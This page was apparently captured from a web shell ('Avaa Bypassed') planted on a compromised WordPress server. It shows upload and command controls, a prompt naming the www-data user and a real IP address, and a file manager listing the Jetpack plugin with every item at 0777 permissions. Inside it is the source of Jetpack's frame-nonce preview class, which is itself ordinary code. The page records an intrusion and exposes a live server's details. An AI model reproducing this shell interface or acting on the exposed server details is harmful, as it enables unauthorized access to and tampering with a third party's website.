[ Avaa Bypassed ]




Upload:

Command:

www-data@18.225.72.113: ~ $
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Allows viewing posts on the frontend when the user is not logged in.
 *
 * @package automattic/jetpack
 */

// phpcs:disable WordPress.Security.NonceVerification.Recommended -- This is _implementing_ cross-site nonce handling, no need for WordPress's nonces.

/**
 * Allows viewing posts on the frontend when the user is not logged in.
 */
class Jetpack_Frame_Nonce_Preview {
	/**
	 * Static instance.
	 *
	 * @todo This should be private.
	 * @var self
	 */
	public static $instance = null;

	/**
	 * Returns the single instance of the Jetpack_Frame_Nonce_Preview object
	 *
	 * @since 4.3.0
	 *
	 * @return Jetpack_Frame_Nonce_Preview
	 **/
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new Jetpack_Frame_Nonce_Preview();
		}

		return self::$instance;
	}

	/**
	 * Constructor.
	 *
	 * @todo This should be private.
	 */
	public function __construct() {
		if ( isset( $_GET['frame-nonce'] ) && ! is_admin() ) {
			add_filter( 'pre_get_posts', array( $this, 'maybe_display_post' ) );
		}

		// autosave previews are validated differently.
		if ( isset( $_GET['frame-nonce'] ) && isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
			remove_action( 'init', '_show_post_preview' );
			add_action( 'init', array( $this, 'handle_autosave_nonce_validation' ) );
		}
	}

	/**
	 * Verify that frame nonce exists, and if so, validate the nonce by calling WP.com.
	 *
	 * @since 4.3.0
	 *
	 * @return bool
	 */
	public function is_frame_nonce_valid() {
		if ( empty( $_GET['frame-nonce'] ) ) {
			return false;
		}

		$xml = new Jetpack_IXR_Client();
		$xml->query( 'jetpack.verifyFrameNonce', sanitize_key( $_GET['frame-nonce'] ) );

		if ( $xml->isError() ) {
			return false;
		}

		return (bool) $xml->getResponse();
	}

	/**
	 * Conditionally add a hook on posts_results if this is the main query, a preview, and singular.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Query $query Query.
	 * @return WP_Query
	 */
	public function maybe_display_post( $query ) {
		if (
			$query->is_main_query() &&
			$query->is_preview() &&
			$query->is_singular()
		) {
			add_filter( 'posts_results', array( $this, 'set_post_to_publish' ), 10, 2 );
		}

		return $query;
	}

	/**
	 * Conditionally set the first post to 'publish' if the frame nonce is valid and there is a post.
	 *
	 * @since 4.3.0
	 *
	 * @param array $posts Posts.
	 * @return array
	 */
	public function set_post_to_publish( $posts ) {
		remove_filter( 'posts_results', array( $this, 'set_post_to_publish' ), 10, 2 );

		if ( empty( $posts ) || is_user_logged_in() || ! $this->is_frame_nonce_valid() ) {
			return $posts;
		}

		$posts[0]->post_status = 'publish';

		// Disable comments and pings for this post.
		add_filter( 'comments_open', '__return_false' );
		add_filter( 'pings_open', '__return_false' );

		return $posts;
	}

	/**
	 * Handle validation for autosave preview request
	 *
	 * @since 4.7.0
	 */
	public function handle_autosave_nonce_validation() {
		if ( ! $this->is_frame_nonce_valid() ) {
			wp_die( esc_html__( 'Sorry, you are not allowed to preview drafts.', 'jetpack' ) );
		}
		add_filter( 'the_preview', '_set_preview' );
	}
}

Jetpack_Frame_Nonce_Preview::get_instance();

Filemanager

Name Type Size Permission Actions
3rd-party Folder 0777
_inc Folder 0777
css Folder 0777
extensions Folder 0777
images Folder 0777
jetpack_vendor Folder 0777
json-endpoints Folder 0777
modules Folder 0777
sal Folder 0777
src Folder 0777
vendor Folder 0777
views Folder 0777
CHANGELOG.md File 562.84 KB 0777
LICENSE.txt File 17.98 KB 0777
SECURITY.md File 2.45 KB 0777
class-jetpack-connection-status.php File 728 B 0777
class-jetpack-connection-widget.php File 3.27 KB 0777
class-jetpack-gallery-settings.php File 3.38 KB 0777
class-jetpack-pre-connection-jitms.php File 5.77 KB 0777
class-jetpack-recommendations-banner.php File 9.08 KB 0777
class-jetpack-stats-dashboard-widget.php File 7.77 KB 0777
class-jetpack-wizard-banner.php File 214 B 0777
class-jetpack-xmlrpc-methods.php File 8.33 KB 0777
class.frame-nonce-preview.php File 3.22 KB 0777
class.jetpack-admin.php File 20.11 KB 0777
class.jetpack-affiliate.php File 205 B 0777
class.jetpack-autoupdate.php File 9.74 KB 0777
class.jetpack-bbpress-json-api.compat.php File 220 B 0777
class.jetpack-boost-modules.php File 1.23 KB 0777
class.jetpack-cli.php File 71.41 KB 0777
class.jetpack-client-server.php File 2.79 KB 0777
class.jetpack-connection-banner.php File 13.8 KB 0777
class.jetpack-data.php File 275 B 0777
class.jetpack-gutenberg.php File 41.16 KB 0777
class.jetpack-heartbeat.php File 4.55 KB 0777
class.jetpack-idc.php File 351 B 0777
class.jetpack-modules-list-table.php File 14.79 KB 0777
class.jetpack-network-sites-list-table.php File 5.93 KB 0777
class.jetpack-network.php File 21.03 KB 0777
class.jetpack-plan.php File 4.09 KB 0777
class.jetpack-post-images.php File 31.98 KB 0777
class.jetpack-twitter-cards.php File 12.92 KB 0777
class.jetpack-user-agent.php File 25.84 KB 0777
class.jetpack.php File 228.13 KB 0777
class.json-api-endpoints.php File 82.39 KB 0777
class.json-api.php File 33.34 KB 0777
class.photon.php File 1.74 KB 0777
composer.json File 3.84 KB 0777
enhanced-open-graph.php File 4.35 KB 0777
functions.compat.php File 4.1 KB 0777
functions.cookies.php File 2.04 KB 0777
functions.global.php File 15.08 KB 0777
functions.is-mobile.php File 2.47 KB 0777
functions.opengraph.php File 17.72 KB 0777
functions.photon.php File 3.04 KB 0777
jetpack.php File 8.24 KB 0777
json-api-config.php File 338 B 0777
json-endpoints.php File 6.92 KB 0777
load-jetpack.php File 3.39 KB 0777
locales.php File 324 B 0777
readme.txt File 26.87 KB 0777
uninstall.php File 1.59 KB 0777
wpml-config.xml File 1.26 KB 0777